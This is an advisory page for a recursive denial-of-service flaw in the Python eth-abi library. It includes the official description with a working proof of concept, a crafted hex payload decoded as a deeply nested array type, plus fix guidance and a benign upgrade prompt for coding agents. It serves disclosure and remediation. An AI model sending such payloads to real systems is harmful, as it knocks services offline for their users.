# GHSA-3qwc-47jf-5rf7: eth-abi is vulnerable to recursive DoS

> An attacker can cause a denial of service in eth-abi by providing crafted input that triggers excessive recursion during decoding.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 5 Mar 2024

## What is GHSA-3qwc-47jf-5rf7?

GHSA-3qwc-47jf-5rf7 is a denial of service vulnerability in eth-abi, published on 5 Mar 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

```py
from eth_abi import decode

payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
```

## Which versions are affected by GHSA-3qwc-47jf-5rf7?

2 open source packages ship an affected version, including eth-abi.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `eth-abi` | PyPI | All versions | 5.0.1 |
| `eth-abi` | PyPI | All versions | 5.0.1 |

## How do I fix GHSA-3qwc-47jf-5rf7?

Upgrade eth-abi to 5.0.1 or later.

## Is GHSA-3qwc-47jf-5rf7 being exploited?

There is no known exploitation of GHSA-3qwc-47jf-5rf7 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-3qwc-47jf-5rf7 and fix it if it is affected.

What it is: GHSA-3qwc-47jf-5rf7 is a denial of service vulnerability in eth-abi, published on 5 Mar 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-3qwc-47jf-5rf7 in the wild and no public exploit code.

Affected packages and fixed versions:
- eth-abi (PyPI): affected all versions; fixed in 5.0.1
- eth-abi (PyPI): affected all versions; fixed in 5.0.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-3qwc-47jf-5rf7/ (Markdown: https://insights.sbomify.com/GHSA-3qwc-47jf-5rf7/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-3qwc-47jf-5rf7

---
From sbomify Insights: https://insights.sbomify.com/GHSA-3qwc-47jf-5rf7/
Summaries are generated and may contain mistakes; the official description above is the record.
